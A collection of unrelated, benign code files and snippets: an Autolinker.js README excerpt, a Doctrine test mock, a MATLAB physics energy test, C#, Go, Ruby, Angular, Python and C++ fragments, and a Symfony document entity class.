#### Modifying the default generated anchor tag

```javascript
var input = "...";  // string with URLs, Email Addresses, Mentions (Twitter, Instagram), and Hashtags

var linkedText = Autolinker.link( input, {
    replaceFn : function( match ) {
        console.log( "href = ", match.getAnchorHref() );
        console.log( "text = ", match.getAnchorText() );

        var tag = match.buildTag();         // returns an `Autolinker.HtmlTag` instance for an <a> tag
        tag.setAttr( 'rel', 'nofollow' );   // adds a 'rel' attribute
        tag.addClass( 'external-link' );    // adds a CSS class
        tag.setInnerHtml( 'Click here!' );  // sets the inner html for the anchor tag

        return tag;
    }
} );
```

The `replaceFn` is provided one argument:

1. An [Autolinker.match.Match](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker.match.Match)
   object which details the match that is to be replaced.

A replacement of the match is made based on the return value of the function.
The following return values may be provided:

1. No return value (`undefined`), or `true` (Boolean): Delegate back to
   Autolinker to replace the match as it normally would.
2. `false` (Boolean): Do not replace the current match at all - leave as-is.
3. Any String: If a string is returned from the function, the string will be used
   directly as the replacement HTML for the match.
4. An [Autolinker.HtmlTag](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker.HtmlTag)
   instance, which can be used to build/modify an HTML tag before writing out its
   HTML text.

## Full API Docs

The full API docs for Autolinker may be referenced at:
[http://gregjacobs.github.io/Autolinker.js/docs/](http://gregjacobs.github.io/Autolinker.js/docs/#!/api/Autolinker)

## Live Example

[http://gregjacobs.github.io/Autolinker.js/examples/live-example/](http://gregjacobs.github.io/Autolinker.js/examples/live-example/)

## Contributing

Pull requests definitely welcome.

- Make sure to add tests to cover your new functionality/bugfix.
- Run the `gulp` command to build/test (or alternatively, open the `tests/index.html` file to run the tests).
- When committing, please omit checking in the files in the `dist/` folder after building/testing. These are only committed to the repository for users downloading Autolinker via Bower. I will build these files and assign them a version number when merging your PR.
- Please use tabs for indents! Tabs are better for everybody (individuals can set their editors to different tab sizes based on their visual preferences).

## Changelog

See [Releases](https://github.com/gregjacobs/Autolinker.js/releases)


text:
<?php

namespace Doctrine\Tests\Mocks;

/**
 * EntityPersister implementation used for mocking during tests.
 */
class EntityPersisterMock extends \Doctrine\ORM\Persisters\BasicEntityPersister
{
    private $_inserts = array();
    private $_updates = array();
    private $_deletes = array();
    private $_identityColumnValueCounter = 0;
    private $_mockIdGeneratorType;
    private $_postInsertIds = array();
    private $existsCalled = false;

    /**
     * @param <type> $entity
     * @return <type>
     * @override
     */
    public function insert($entity)
    {
        $this->_inserts[] = $entity;
        if ( ! is_null($this->_mockIdGeneratorType) && $this->_mockIdGeneratorType == \Doctrine\ORM\Mapping\ClassMetadata::GENERATOR_TYPE_IDENTITY
                || $this->_class->isIdGeneratorIdentity()) {
            $id = $this->_identityColumnValueCounter++;
            $this->_postInsertIds[$id] = $entity;
            return $id;
        }
        return null;
    }

    public function addInsert($entity)
    {
        $this->_inserts[] = $entity;
        if ( ! is_null($this->_mockIdGeneratorType) && $this->_mockIdGeneratorType == \Doctrine\ORM\Mapping\ClassMetadata::GENERATOR_TYPE_IDENTITY
                || $this->_class->isIdGeneratorIdentity()) {
            $id = $this->_identityColumnValueCounter++;
            $this->_postInsertIds[$id] = $entity;
            return $id;
        }
        return null;
    }

    public function executeInserts()
    {
        return $this->_postInsertIds;
    }

    public function setMockIdGeneratorType($genType)
    {
        $this->_mockIdGeneratorType = $genType;
    }

    public function update($entity)
    {
        $this->_updates[] = $entity;
    }

    public function exists($entity, array $extraConditions = array())
    {
        $this->existsCalled = true;
    }

    public function delete($entity)
    {
        $this->_deletes[] = $entity;
    }

    public function getInserts()
    {
        return $this->_inserts;
    }

    public function getUpdates()
    {
        return $this->_updates;
    }

    public function getDeletes()
    {
        return $this->_deletes;
    }

    public function reset()
    {
        $this->existsCalled = false;
        $this->_identityColumnValueCounter = 0;
        $this->_inserts = array();
        $this->_updates = array();
        $this->_deletes = array();
    }

    public function isExistsCalled()
    {
        return $this->existsCalled;
    }
}


text:
%% SGP_ENERGY_TEST - a test of the PhysX engine forward integration
%
% A self-gravitating pile is set up in loose configuration and allowed to
% collapse. Measured quantities are system kinetic and potential energy. For
% this test the PhysX params were manually modified to approximate perfect
% bouncing and zero friction.
clear
clc

%% Load data from files and do initial conversions
out_files = dir('*.out');
for k = 1:numel(out_files)
    raw = importdata(out_files(k).name,' ',headcount(out_files(k).name));
    %bigG = cell2mat(textscan(raw.textdata{5},'%*[^=]%*c%f'));
    dt = cell2mat(textscan(raw.textdata{5},'%*[^=]%*c%f'));
    data(k).dt = dt; %#ok<*SAGROW>
    data(k).t = raw.data(:,1);
    data(k).K = raw.data(:,6); % system kinetic energy
    data(k).U = raw.data(:,5); % system potential energy
    data(k).E = data(k).K + data(k).U; % system total energy
end

%% Plot of total energy vs. time
fh = figure;
ah = axes;
hold(ah,'all');
for k = 1:numel(data)
    lh = plot(data(k).t,data(k).E);
    set(lh,'DisplayName',['dt = ',num2str(data(k).dt), ' cu']);
end
% Add kinetic and potential envelope and a line of fixed energy
[~,k] = min([data.dt]);
plot(data(k).t,data(k).K,'r--','linewidth',2)
plot(data(k).t,data(k).U,'g--','linewidth',2)
plot([0,data(k).t(end)],[data(k).E(1), data(k).E(1)],'k--')

%% Touch up and anotate
xlabel('time [cu]')
ylabel('E [cu]')
set(ah, 'box', 'on')
ah.XLim = [0, min(arrayfun(@(x)max(x.t),data))];
% Show only items with a display name
mask = cellfun(@isempty, get(ah.Children,'DisplayName'));
display_list = (ah.Children(~mask));
lh = legend(ah, display_list, 'location', 'nw');


text:
using System;
using System.ComponentModel.Composition;
using Merq;

namespace Clide
{
	/// <summary>
	/// Attribute applied to command handlers to export them to the
	/// composition container.
	/// </summary>
	[AttributeUsage (AttributeTargets.Class | AttributeTargets.Property, AllowMultiple = false)]
	public class CommandHandlerAttribute : ExportAttribute
	{
		/// <summary>
		/// Initializes the attribute.
		/// </summary>
		public CommandHandlerAttribute ()
			: base(typeof(ICommandHandler))
		{
		}
	}
}


text:
package cmd

import (
	"fmt"
	"os"
	"os/user"

	"github.com/ciao-project/ciao/ciao-deploy/deploy"
	"github.com/spf13/cobra"
)

func unjoin(args []string) int {
	ctx, cancelFunc := getSignalContext()
	defer cancelFunc()

	hosts := args
	err := deploy.TeardownNodes(ctx, sshUser, hosts)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error unprovisioning nodes: %v\n", err)
		return 1
	}
	return 0
}

// unjoinCmd represents the unjoin command
var unjoinCmd = &cobra.Command{
	Use:   "unjoin <hosts>",
	Short: "Remove the specified nodes from the cluster",
	Long: `Remove the nodes from the cluster. Removing certificates and
	 uninstalling software.`,
	Run: func(cmd *cobra.Command, args []string) {
		os.Exit(unjoin(args))
	},
	Args: cobra.MinimumNArgs(1),
}

func init() {
	RootCmd.AddCommand(unjoinCmd)

	u, err := user.Current()
	currentUser := ""
	if err == nil {
		currentUser = u.Username
	}

	unjoinCmd.Flags().StringVar(&sshUser, "user", currentUser, "User to SSH as")
}


text:
module Sinkhole
  module Commands
    class Quit < Command
      ensure_no_args

      def do_process
        Responses::ServiceClosingChannel.new("closing connection", action: :quit)
      end
    end
  end
end


text:
                iStock

Produtos

Entrada de estoque

Saída de estoque

Gerenciamento de estoque

        <router-outlet></router-outlet>


text:
"""Standalone console script"""

import sys
import os
import optparse

from AutoNetkit.internet import Internet
from AutoNetkit import config
import AutoNetkit as ank
import logging
import pkg_resources
LOG = logging.getLogger("ANK")

def main():

    version="git-current"
    try:
        version=pkg_resources.get_distribution("AutoNetkit").version
    except:
        pass
# make it easy to turn on and off plotting and deploying from command line
    usage = ("\nNetkit: %prog -f filename.graphml --netkit\n"
            "Junosphere: %prog -f filename.graphml --junos\n"
            "Additional documentation at http://packages.python.org/AutoNetkit/")
    opt = optparse.OptionParser(usage, version="%prog " + str(version))

    opt.add_option('--plot', '-p', action="store_true", dest="plot", default=False, help="Plot lab")
    opt.add_option('--deploy', action="store_true", default=False, help="Deploy lab to hosts")
    opt.add_option('--verify', action="store_true", default=False, help="Verify lab on hosts")
    opt.add_option('--save', action="store_true", default=False,
            help="Save the network for future use (eg verification")
    opt.add_option('--file', '-f', default= None, help="Load configuration from FILE")
    opt.add_option('--bgp_policy', '-b', default= None, help="Load BGP policy statements from FILE")

    opt.add_option('--debug',  action="store_true", default=False, help="Debugging output")

# Deployment environments
    opt.add_option('--netkit',  action="store_true", default=False, help="Compile Netkit")
    opt.add_option('--libvirt',  action="store_true", default=False, help="Compile Libvirt")
    opt.add_option('--cbgp',  action="store_true", default=False, help="Compile cBGP")
    opt.add_option('--dynagen',  action="store_true", default=False, help="Compile dynagen")
    opt.add_option('--junos',  action="store_true", default=False, help="Compile Junosphere  (legacy command)")
# Juniper options
    opt.add_option('--junosphere',  action="store_true", default=False, help="Compile to Junosphere")
    opt.add_option('--junosphere_olive',  action="store_true", default=False,
            help="Compile to Olive-based Junosphere")
    opt.add_option('--olive',  action="store_true", default=False, help="Compile to Qemu-based Olive")
    opt.add_option('--olive_qemu_patched',  action="store_true", default=False,
            help="Custom Qemu install (6 interface count")
    opt.add_option('--isis',  action="store_true", default=False, help="Use IS-IS as IGP")
    opt.add_option('--ospf',  action="store_true", default=False, help="Use OSPF as IGP")

    options, arguments = opt.parse_args()
    config.add_logging(console_debug = options.debug)

#### Main code
    if not options.file:
        LOG.warn("Please specify topology file")
        sys.exit(0)
        logging.setLevel(logging.DEBUG)

#TODO: if topology file doesn't exist, then try inside lib/examples/topologies/
    f_name = options.file
    igp = None
    if options.ospf:
        igp = "ospf"
    if options.isis:
        igp = "isis"

    use_junosphere = (options.junos or options.junosphere)
    inet = Internet(netkit=options.netkit,
            cbgp=options.cbgp, dynagen=options.dynagen, junosphere=use_junosphere,
            junosphere_olive=options.junosphere_olive, olive=options.olive,
            policy_file = options.bgp_policy, deploy = options.deploy,
            libvirt = options.libvirt,
            olive_qemu_patched=options.olive_qemu_patched, igp=igp)
    inet.load(f_name)

    inet.add_dns()

    inet.compile()

#inet.save()

    if(options.plot):
        inet.plot()

    if(options.deploy):
        inet.deploy()

    if options.verify:
        inet.verify()

    # finally, save the network
    inet.save()
    inet.dump()
    #inet.restore()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        pass


text:
#pragma warning(disable:4786)

#include "AnythingCommand.h"

#include <string>

using namespace std;

#define BASECLASS	ArgumentCommand

///////////////////////////////////////////////////////////////////////////////
// Construction and destruction

// only default construction

///////////////////////////////////////////////////////////////////////////////
// Attributes and operations

//						===========================
bool					AnythingCommand::Initialize
//						===========================
(
	EngineSetting*		pSetting
)
{
	// get the prefix out of the settings
	if(pSetting)
	{
		m_strPrefix	= pSetting->Get("SYSTEM", "AnythingPrefix");
	}

	// check for parentheses and calculate the length
	GeneralInitializing();

	m_bHasParameter = false;
	return true;
}

//						================================
bool					AnythingCommand::EvaluateCommand()
//						================================
{
	// output string = input string
	m_strArgumentValue = m_strArgument;
	return true;
}


text:
<?php

namespace AppBundle\Entity;

use Doctrine\ORM\Mapping as ORM;
use Doctrine\Common\Collections\ArrayCollection;

/**
 * Document
 *
 * @ORM\Table(name="document")
 * @ORM\Entity(repositoryClass="AppBundle\Repository\DocumentRepository")
 */
class Document
{
    /**
     * @var int
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var string
     *
     * @ORM\Column(name="title", type="string", length=255)
     */
    private $title;

    /**
     * @var string
     *
     * @ORM\Column(name="path", type="string", length=255)
     */
    private $path;

    /**
     * @var string
     *
     * @ORM\Column(name="filename", type="string", length=255)
     */
    private $filename;

    /**
     * @var string
     *
     * @ORM\Column(name="mime", type="string", length=255)
     */
    private $mimeType;

    /**
     * @var \DateTime
     *
     * @ORM\Column(name="creation_date", type="datetime")
     */
    private $creationDate;

    /**
     * @var string
     *
     * @ORM\Column(name="comment", type="text", nullable=true)
     */
    private $comment;

    /**
     * @var boolean
     *
     * @ORM\Column(name="checked_out", type="boolean")
     */
    private $checkedOut = false;

    /**
     * @var string
     *
     * @ORM\Column(name="hash", type="string", length=255)
     */
    private $hash;

    /**
     * @var string
     *
     * @ORM\Column(name="original_name", type="string", length=255)
     */
    private $originalName;

    /**
     * @ORM\ManyToMany(targetEntity="Tag", inversedBy="documents")
     * @ORM\JoinTable(name="documents_tags")
     */
    private $tags;

    public function __construct()
    {
        $this->tags = new ArrayCollection();
    }

    /**
     * Get id
     *
     * @return integer
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set title
     *
     * @param string $title
     *
     * @return Document
     */
    public function setTitle($title)
    {
        $this->title = $title;

        return $this;
    }

    /**
     * Get title
     *
     * @return string
     */
    public function getTitle()
    {
        return $this->title;
    }

    /**
     * Set path
     *
     * @param string $path
     *
     * @return Document
     */
    public function setPath($path)
    {
        $this->path = $path;

        return $this;
    }

    /**
     * Get path
     *
     * @return string
     */
    public function getPath()
    {
        return $this->path;
    }

    /**
     * Set filename
     *
     * @param string $filename
     *
     * @return Document
     */
    public function setFilename($filename)
    {
        $this->filename = $filename;

        return $this;
    }

    /**
     * Get filename
     *
     * @return string
     */
    public function getFilename()
    {
        return $this->filename;
    }

    /**
     * Set creationDate
     *
     * @param \DateTime $creationDate
     *
     * @return Document
     */
    public function setCreationDate($creationDate)
    {
        $this->creationDate = $creationDate;

        return $this;
    }

    /**
     * Get creationDate
     *
     * @return \DateTime
     */
    public function getCreationDate()
    {
        return $this->creationDate;
    }

    /**
     * Set comment
     *
     * @param string $comment
     *
     * @return Document
     */
    public function setComment($comment)
    {
        $this->comment = $comment;

        return $this;
    }

    /**
     * Get comment
     *
     * @return string
     */
    public function getComment()
    {
        return $this->comment;
    }

    /**
     * Set checkedOut
     *
     * @param boolean $checkedOut
     *
     * @return Document
     */
    public function setCheckedOut($checkedOut)
    {
        $this->checkedOut = $checkedOut;

        return $this;
    }

    /**
     * Get checkedOut
     *
     * @return boolean
     */
    public function getCheckedOut()
    {
        return $this->checkedOut;
    }

    /**
     * Add tag
     *
     * @param \AppBundle\Entity\Tag $tag
     *
     * @return Document
     */
    public function addTag(\AppBundle\Entity\Tag $tag)
    {
        $this->tags[] = $tag;

        return $this;
    }

    /**
     * Remove tag
     *
     * @param \AppBundle\Entity\Tag $tag
     */
    public function removeTag(\AppBundle\Entity\Tag $tag)
    {
        $this->tags->removeElement($tag);
    }

    /**
     * Get tags
     *
     * @return \Doctrine\Common\Collections\Collection
     */
    public function getTags()
    {
        return $this->tags;
    }

    public function setTags(ArrayCollection $tags)
    {
        $this->tags = $tags;

        return $this;
    }

    /**
     * Set hash
     *
     * @param string $hash
     *
     * @return Document
     */
    public function setHash($hash)
    {
        $this->hash = $hash;

        return $this;
    }

    /**
     * Get hash
     *
     * @return string
     */
    public function getHash()
    {
        return $this->hash;
    }

    /**
     * Set originalName
     *
     * @param string $originalName
     *
     * @return Document
     */
    public function setOriginalName($originalName)
    {
        $this->originalName = $originalName;

        return $this;
    }

    /**
     * Get originalName
     *
     * @return string
     */
    public function getOriginalName()
    {
        return $this->originalName;
    }

    /**
     * Set mimeType
     *
     * @param string $mimeType
     *
     * @return Document
     */
    public function setMimeType($mimeType)
    {
        $this->mimeType = $mimeType;

        return $this;
    }

    /**
     * Get mimeType
     *
     * @return string
     */
    public function getMimeType()
    {
        return $this->mimeType;
    }
}